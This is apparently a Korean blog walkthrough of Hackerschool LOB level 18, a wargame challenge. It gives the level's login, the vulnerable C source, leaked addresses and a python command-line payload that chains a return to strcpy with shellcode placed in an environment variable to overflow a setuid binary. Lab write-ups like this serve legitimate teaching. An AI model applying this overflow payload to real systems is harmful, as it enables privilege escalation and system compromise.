해커스쿨 LOB LEVEL18 [succubus -> nightmare] 풀이
M4ndU
해커스쿨 LOB [succubus -> nightmare] 풀이입니다.
ID | succubus
PW | here to stay
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
$ bash2
그리고
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat [문제이름].c
를 이용해 소스코드를 확인합시다.
login: succubus
Password:
[succubus@localhost succubus]$ bash2
[succubus@localhost succubus]$ ls -l
total 20
-rwsr-sr-x 1 nightmar nightmar 12983 Mar 30 2010 nightmare
-rw-r--r-- 1 root root 625 Mar 30 2010 nightmare.c
[succubus@localhost succubus]$ cat nightmare.c
/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
소스를 보면
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
$gcc get1.c -o 1
$gcc get2.c -o 2
$export EGG1=`python -c 'print "\xe4\xfb\xff\xbf"'`
[succubus@localhost env]$ export EGG1=`python -c 'print "\x48\xfc\xff\xbf"'`
[succubus@localhost env]$ ./1
ADDR -> 0xbffffbda
&strcpy() | 0x08048410
&ret | 0xbffffa10
&(&SHELLCODE) | 0xbffffbda
&buffer | 0xbffff9e0
모두 구했습니다.
그럼 익스플로잇!
./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
'System Hacking > LOB Redhat' 카테고리의 다른 글
해커스쿨 LOB LEVEL20 [xavius -> death_knight] 풀이 (0) | 2018.02.15 |
---|---|
해커스쿨 LOB LEVEL19 [nightmare -> xavius] 풀이 (0) | 2018.02.15 |
해커스쿨 LOB LEVEL17 [zombie_assassin -> succubus] 풀이 (0) | 2018.02.14 |
해커스쿨 LOB LEVEL16 [assassin -> zombie_assassin] 풀이 (0) | 2018.02.13 |
해커스쿨 LOB LEVEL15 [giant -> assassin] 풀이 (0) | 2018.02.13 |